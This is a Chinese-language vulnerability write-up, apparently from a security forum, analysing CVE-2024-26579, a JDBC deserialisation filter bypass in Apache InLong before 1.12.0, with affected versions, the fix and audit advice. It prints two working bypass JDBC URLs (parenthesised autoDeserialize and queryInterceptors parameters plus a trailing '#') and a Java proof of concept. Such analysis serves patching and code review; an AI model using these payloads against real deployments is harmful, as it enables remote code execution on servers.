Apache InLong < 1.12.0 JDBC反序列化漏洞(CVE-2024-26579)浅析

Apache InLong 是开源的高性能数据集成框架,支持数据接入、数据同步和数据订阅,同时支持批处理和流处理,方便业务构建基于流式的数据分析、建模和应用。浅析Apache InLong < 1.12.0 JDBC反序列化漏洞(CVE-2024-26579)

0x00 前言

Apache InLong 是开源的高性能数据集成框架,支持数据接入、数据同步和数据订阅,同时支持批处理和流处理,方便业务构建基于流式的数据分析、建模和应用。

image.png

0x01 CVE-2024-26579

在受影响版本中,由于 MySQLSensitiveUrlUtils 类只限制了?形式的JDBC连接字符串参数,攻击者可通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数。并通过#注释后续内容,绕过从而此前修复过滤逻辑,在连接攻击者可控的服务地址时,攻击者可利用该漏洞远程执行任意代码。

1.1 影响范围

  • org.apache.inlong:inlong-manager@[1.7.0, 1.12.0)

1.2 修复方案

  • 将组件 org.apache.inlong:inlong-manager 升级至 1.12.0 及以上版本

0x02 漏洞分析与复现

以1.11.0版本为例。结合历史漏洞,一般是通过org.apache.inlong.manager.web.controller.DataNodeController#testConnection接口进行利用:

image.png

实际上调用的是org.apache.inlong.manager.service.node.starrocks.StarRocksDataNodeOperator#testConnection:

image.png

这里首先会通过org.apache.inlong.manager.pojo.node.starrocks.StarRocksDataNodeDTO#convertToJdbcUrl方法对用户传递的jdbcUrl进行一定的处理:

image.png

本质上是通过org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive对恶意的内容进行处理,包括一些历史的绕过CVE也是在该方法进行修复处理的:

image.png

例如CVE-2023-46227只对用户输入的 jdbc url 参数中的空格做了过滤,没有对其他空白字符过滤。具备 InLong Web 端登陆权限的攻击者可以使用\t绕过对 jdbc url 中autoDeserialize、allowUrlInLocalInfile、allowLoadLocalInfileInPath参数的检测,进而在MySQL客户端造成任意代码执行、任意文件读取等危害。在filterSensitive方法中也可以看到对应修复的痕迹:

image.png

最终在org.apache.inlong.manager.service.resource.sink.starrocks.StarRocksJdbcUtils#getConnection尝试进行连接。

本质上CVE-2024-26579也是filterSensitive方法的绕过,下面分析具体的绕过过程:

2.1 现有防护措施

首先看看1.11.0版本org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive具体的防护措施。主要思路是是从给定的 URL 中过滤掉敏感参数。

在非空判断后,使用 URLDecoder.decode 方法循环解码 URL,直到没有百分号编码的字符(InlongConstants.PERCENT)为止:

image.png

然后通过正则表达式 InlongConstants.REGEX_WHITESPACE 移除 URL 中的所有空白字符:

image.png

检查处理后的 URL 是否包含问号InlongConstants.QUESTION_MARK,如果存在参数部分,将其拆分为键值对:

image.png

在这个过程中,会检查请求的参数是否在对应的Map中,如果是,则跳过该参数:

image.png

并且将 SENSITIVE_REPLACE_PARAM_MAP 中的key-value添加到对应的参数列表中:

image.png

综上,Apache InLong会通过在jdbcUrl尾部强行添加 autoDeserialize=false通过覆盖变量进行处理,同时考虑到了URL编码、空白符等绕过风险。

2.2 绕过方式

之前也简单整理过Jdbc Attack防护绕过的思路,具体可见https://forum.butian.net/share/2771 。很明显漏洞影响版本的Apache InLong没有对#注释符进行额外的处理。从修复的commit(https://github.com/apache/inlong/commit/a59a81425f4fd5ce601dc02b04f31a49e3eacbec )也可以看到确实新增了对#注释符的处理:

image.png

根据前面的分析,Apache InLong会通过在jdbcUrl尾部强行添加 autoDeserialize=false通过覆盖变量进行处理,这样即使攻击者在连接url中设置了autoDeserialize参数也会被覆盖掉。

而在mysql-connector-java-8.0.x的解析过程中,会调用ConnectionUrlParser#parseConnectionString方法对传入的url进行进一步的处理,在parseConnectionString方法中,会通过正则捕获对应的内容:

private static final Pattern CONNECTION_STRING_PTRN = Pattern.compile("(?[\\w:%]+)\\s*(?://(?[^/?#]*))?\\s*(?:/(?!\\s*/)(?[^?#]*))?(?:\\?(?!\\s*\\?)(?[^#]*))?(?:\\s*#(?.*))?");

可知在匹配 URL 的查询参数部分时,使用 (?\[^#\]\*) 匹配查询参数,这里#充当了注释符的作用,在获取query时会将#后面的注释部分去掉。也就是说,8.0.x版本实际上是支持通过注释符#来注释掉后面的内容的。那么就可以通过#注释掉之后拼接的内容。

但是仅仅通过#注释符是没办法进行利用的,因为Apache InLong在处理时会检查请求的参数是否在对应的Map中,如果是,则跳过该参数。而这个参数是通过?处理得到的。即使#处理掉了Apache InLong拼接的额外内容,也没办法通过?autoDeserialize=true的方式写入恶意的参数。

实际上还有一处修复的commit(https://github.com/apache/inlong/commit/eef8d05b0bf61ea60a7ea5dfd31010c0b2bf57a8 ),这里多了一段字符串替换的逻辑:

image.png

这里会对经过解码和剔除空白符的url进行处理,遍历SENSITIVE_REPLACE_PARAM_MAP的key,对类似autoDeserialize=true的内容替换成null。那么为什么要增加这段逻辑呢?

image.png

在对应的issues中翻到了这一条记录https://github.com/apache/inlong/issues/9689 ,从内容上大致可以看到是通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数:

image.png

以mysql-connector-java-8.0.19.jar为例,查看具体的解析逻辑,若请求的jdbcUrl合法,则调用ConnectionUrl.getConnectionUrlInstance⽅法,这里会调用ConnectionUrlParser#parseConnectionString方法对传入的url进行进一步的处理,在parseConnectionString方法中,主要是通过正则捕获对应的内容:

image.png

在getConnectionUrlInstance方法中,首先从 parser 中获取主机的列表大小:

image.png

这里会调用parseAuthoritySection方法进行解析:

image.png

如果请求的authority 不为null,会调用parseAuthoritySegment进行处理:

image.png

在parseAuthoritySegment方法中,会尝试使用不同的方法构建 HostInfo 对象:

  • buildHostInfoForEmptyHost
  • buildHostInfoResortingToUriParser
  • buildHostInfoResortingToSubHostsListParser
  • buildHostInfoResortingToKeyValueSyntaxParser
  • buildHostInfoResortingToAddressEqualsSyntaxParser
  • buildHostInfoResortingToGenericSyntaxParser

image.png

最终完成 HostInfo 对象,同时authority中的参数也会作为请求的参数进行解析。

查看具体HostInfo的解析方式,发现buildHostInfoResortingToKeyValueSyntaxParser和buildHostInfoResortingToAddressEqualsSyntaxParser的解析都跟()有关,可以通过()来进行参数的传递:

final Pattern KEY_VALUE_HOST_PTRN = Pattern.compile("[,\\s]*(?<key>[\\w\\.\\-\\s%]*)(?:=(?<value>[^,]*))?");
private static final Pattern ADDRESS_EQUALS_HOST_PTRN = Pattern.compile("\\s*\\(\\s*(?<key>[\\w\\.\\-%]+)?\\s*(?:=(?<value>[^)]*))?\\)\\s*");

image.png

image.png

结合前面的分析,因为filterSensitive仅仅考虑了?传递参数的情况。结合mysql-connector-java的解析,可以通过在authority进行参数的传递,主要有如下两种方式:

  • (键值对形式)
jdbc:mysql://(host=127.0.0.1,port=54324,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,autoDeserialize=true)/test?
  • address=(键值对形式)
jdbc:mysql://address=(host=127.0.0.1)(port=54324) (queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?

结合漏洞版本忽略了#注释的处理,在jdbc请求的url后追加#注释,即可绕过现有的安全防护。

验证前面的猜想,通过下面的代码模拟org.apache.inlong.manager.web.controller.DataNodeController#testConnection接口的调用过程,尝试进行绕过:

try {
    String url="jdbc:mysql://address=(host=127.0.0.1)(port=54324) (queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?#";
    String jdbcURL= MySQLSensitiveUrlUtils.filterSensitive(url);
    Class.forName("com.mysql.cj.jdbc.Driver");
         DriverManager.getConnection(jdbcURL,"CB 1.9","");
} catch (Exception e) {
    e.printStackTrace();
}

image.png

可以看到成功绕过了org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive防护机制,执行了对应的命令:

image.png

(键值对形式)同理:

image.png

0x03 其他

实际上官方文档也提及到上述所说的传递参数的方式https://dev.mysql.com/doc/connector-j/en/connector-j-reference-jdbc-url-format.html ,还有一些其他的例子:

image.png

在实际业务场景中,一般针对JDBC Attack的防护主要分为两种:

  • 支持jdbc连接串的直接传递,会将jdbc连接串按预置模板解析出对应的字段,然后再进行安全检查
  • 不支持jdbc连接串的直接传递,但是host、用户名、密码、数据库名以及自定义的连接字符串这一系列输入可能通过StringBuilder#append进行拼接,最终合并成一个完成的jdbcUrl进行连接。在这个过程中对对应的字符进行检查

如果在实际防护中没有考虑到上述的传参方式的话,例如host字段可能没有限制具体的内容,还是会存在对应的安全风险的。在实际代码审计过程中可以额外关注。

  • 发表于 2024-05-27 10:00:01
  • 阅读 ( 17064 )
  • 分类:漏洞分析

1 条评论

Msfcode
补一个案例 https://github.com/advisories/GHSA-6p92-qfqf-qwx4
请先 登录 后评论
请先 登录 后评论
tkswifty
tkswifty

64 篇文章

站长统计